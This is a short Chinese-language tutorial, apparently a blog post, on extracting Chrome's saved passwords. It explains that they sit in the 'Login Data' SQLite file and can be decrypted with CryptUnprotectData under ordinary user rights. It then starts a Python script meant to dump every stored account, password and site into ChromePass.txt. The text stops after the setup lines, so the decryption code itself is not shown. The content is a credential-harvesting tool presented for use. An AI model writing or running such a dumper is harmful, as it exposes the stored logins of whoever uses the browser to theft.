Chrome浏览器已保存的密码都保存在一个sqlite3数据库文件中,和Cookies数据库在同一个文件夹,类似:
C:\Users\Lucas Lee\AppData\Local\Google\Chrome\User Data\Default\Login Data
使用CryptUnprotectData函数解密数据库中的密码字段,即可还原密码,只需要User权限,并且只能是User权限。
为了防止出现读写出错,建议先把数据库临时拷贝到当前目录。
程序会读出所有的账号、密码、网站,写入文件夹下ChromePass.txt文件
代码如下:
import os, sys
import shutil
import sqlite3
import win32crypt
outFile_path = os.path.join(os.path.dirname(sys.executable),
'ChromePass.txt')
if os.path.exists(outFile_path):
os.remove(outFile_path)
db_file_path = os.path.join(os.environ['LOCALAPPDATA'],
r'Google\Chrome\User Data\Default\Login Data')
tmp_file = os.path.join(os.path.dirname(sys.executable), 'tmp_tmp_tmp')
if os.path.exists(tmp_file):
os.remove(tmp_file)